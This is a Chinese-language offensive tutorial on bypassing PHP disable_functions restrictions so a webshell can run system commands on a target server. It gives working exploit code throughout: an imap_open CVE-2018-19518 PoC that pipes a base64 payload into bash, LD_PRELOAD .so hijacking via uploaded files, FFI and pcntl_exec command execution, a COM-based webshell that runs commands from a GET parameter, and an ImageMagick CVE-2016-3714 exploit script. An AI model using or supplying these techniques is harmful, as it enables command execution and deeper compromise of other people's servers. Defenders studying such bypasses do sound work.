前言
可能很多人在使用蚁剑执行终端命令时都经历过如下场景:
不能执行命令的webshell不是好黑客!出现该问题的原因往往是网站维护者禁用了一些命令执行的函数,操作方法很简单,在php.ini中找到disable_functions项,然后禁用命令执行的相关函数
disable_functions = passthru,exec,system,popen,chroot……
disable_functions信息也可以在phpinfo中获取
其实很多webshell都有针对bypass disable_functions的插件,这里推荐一手蚁剑的插件
使用蚁剑的这款工具就能解决大部分disable_functions的问题了,但如果我们对其技术原理不了解,单纯的使用工具时总会存在一种不安感。也许我们可以更加了解绕过disable_functions的技术,这样在实战时就会具有更多灵活的手段
首先我们要知道绕过 disable_functions 的大概手法:
寻找未禁用的函数
利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果
攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;
mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制
寻找漏网之鱼
不过这个属于黑名单的防御方式,最简单的绕过方法就是寻找其它没有禁用函数
首先我们要知道哪些函数可以执行系统命令:
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
然后我们可以对比phpinfo中的disable_functions信息去寻找漏网之鱼
这里推荐一个github的项目:https://github.com/l3m0n/Bypass_Disable_functions_Shell,被逼到绝路了可以试试
然后把该项目的shell.php上传到目标web目录下然后访问,将会得到一些禁用函数和可用函数的信息
如果学的再深一点,可以去看看命令执行底层原理探究:https://www.anquanke.com/post/id/226292
pcntl_exec
使用条件:Linux、安装且启用了pcntl插件
这里介绍一个可能最容易忽略的函数pcntl_exec,pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定程序
pcntl是linux下的一个扩展,可以支持php的多线程操作。pentl插件信息也可以在phpinfo()中获取到
pcntl_exec使用如下,$path为linux可执行文件路径,如ping命令位于/usr/bin/ping。$args为一个数组,可作为传递执行文件的参数
pcntl_exec(string $path, array $args = ?, array $envs = ?): void
使用示例:
<?php
$path = '/usr/bin/ping';
$arg = ['-c','1','example.com'];
pcntl_exec($path,$arg);
imap_open
使用条件:Linux,存在imap_open函数,php.ini中imap.enable_insecure_rsh= On,且php版本符合要求
在phpinof中可以看到相关条件
imap_open() 曾经爆出一个命令执行漏洞,如下第一个参数$mailbox可控时就可能导致命令执行。漏洞编号CVE-2018-19518
imap_open(string $mailbox,……)
该漏洞的原理是$mailbox参数可能会作为底层调用ssh命令的参数,通过构造-oProxyCommand参数实现命令执行
如下所示:
$ ssh -oProxyCommand="touch test" localhost
kex_exchange_identification: Connection closed by remote host
$ ls | grep test
test
该漏洞后面应该被php官方修复了,影响版本有限,而且默认情况下该函数也不是很好利用,该方法只能在走投无路时尝试尝试。所以这里就不详细研究其原理,知道有这些知识点就行。
这里直接给出poc,来自博主:https://clq0.top/bypass-disable_function-php/
<?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
具体影响版本:PHP 5.6.0至PHP 5.6.38;PHP 7.0.0至PHP 7.0.32;PHP 7.1.0至PHP 7.1.24;PHP 7.2.0至PHP 7.2.12
LD_PRELOAD
使用条件:Linux;putenv()可用;一些能够启动外部程序的函数如mail()、error_log()可用;存在可写的目录, 需要上传.so 文件
LD_PRELOAD是Linux系统的一个环境变量,可以设置成一个指定库的路径,动态链接时较其他库有着更高的优先级。然后就有大佬想到自己编写一个函数库,使用LD_PRELOAD变量提升自己库的优先级,从而实现劫持系统函数。开始很多人都会劫持getuid函数,如/usr/sbin/sendmail,/bin/sh等程序就会调用getuid的函数库,而php中常见的mail()方法就能触发/usr/sbin/sendmail和/bin/sh等程序,从而触发我们自己编写的函数库
后面大佬们又发现了劫持启动进程的方法,就无需考虑劫持哪个函数了,有了更高的成功率
其详细原理可参考:LD_PRELOAD的偷梁换柱之能 ,有趣的 LD_PRELOAD
这里主要关注下实战操作,可以利用大佬编译好的so文件:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
然后把bypass_disablefunc.php、bypass_disablefunc_x64.so上传到服务器中
然后按照访问bypass_disablefunc.php,按照提示的参数即可执行命令,十分简单
回头看看蚁剑插件的使用,选择LD_PRELOAD,在putenv和error_log函数可以使用时基本可以成功
执行后web目录会多处两个文件
我们创建副本,重新链接.antproxy.php,此时就可以执行命令了
LD_PRELOAD绕过disable_functions的体验还是很不错的,只要putenv函数没被禁用,基本上就能使用这个方法。所以这其实也算一种绕过黑名单的方式,不过这个方法太经典实用,这里单独一节讲解
PHP7.4 FFI扩展
使用条件:php>=7.4,具有FFI扩展
PHP7.4增加了一个FFI(Foreign Function Interface)扩展,即外部函数接口。简单地说,就是一项在PHP里能够调用C代码的技术。当PHP所有的命令执行函数被禁用后,我们可以尝试一下该扩展,使用示例如下:
<?php
$ffi = FFI::cdef("int system (const char* command);"); # 声明C语言中的system函数
$ffi->system("ls");
?>
利用Windows系统组件COM
使用条件:Windows且C:\WindowsSystem32\wshom.ocx文件没有被删除;com.allow_dcom开启;php安装了php_com_dotnet.dll扩展并且启用
Windows系统组件COM在Windows默认就存在,位于C:\\WindowsSystem32
,php通过调用该组件也能实现命令执行
首先在php.ini 中开启com.allow_dcom
,然后在php/ext/里面查找是否存在php_com_dotnet.dll这个文件,再到php.ini中查看是否存在extension=php_com_dotnet.dll这项
com.allow_dcom = true
extension=php_com_dotnet.dll
在phpinfo中可以看到该扩展的信息
利用代码如下:这里创建一个COM对象,然后通过调用COM对象的exec()方法来实现执行系统命令
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
利用ImageMagick漏洞绕过
利用条件:安装了漏洞版本的imagemagick(6.9及以前版本都可以尝试);安装了php-imagick拓展并在php.ini中启用;PHP >= 5.4
imagemagick是一个用于处理图片的程序,该程序曾经爆出过一个漏洞(CVE-2016-3714),漏洞的利用过程非常简单,只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令
如果看到目标系统phpinfo中存在此信息可用以下exp测试一下:
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
参考:
无需sendmail:巧用LD_PRELOAD突破disable_functions :https://www.freebuf.com/web/192052.html
https://github.com/l3m0n/Bypass_Disable_functions_Shell
https://clq0.top/bypass-disable_function-php
浅谈几种Bypass disable_functions的方法原理讲解的浅显易懂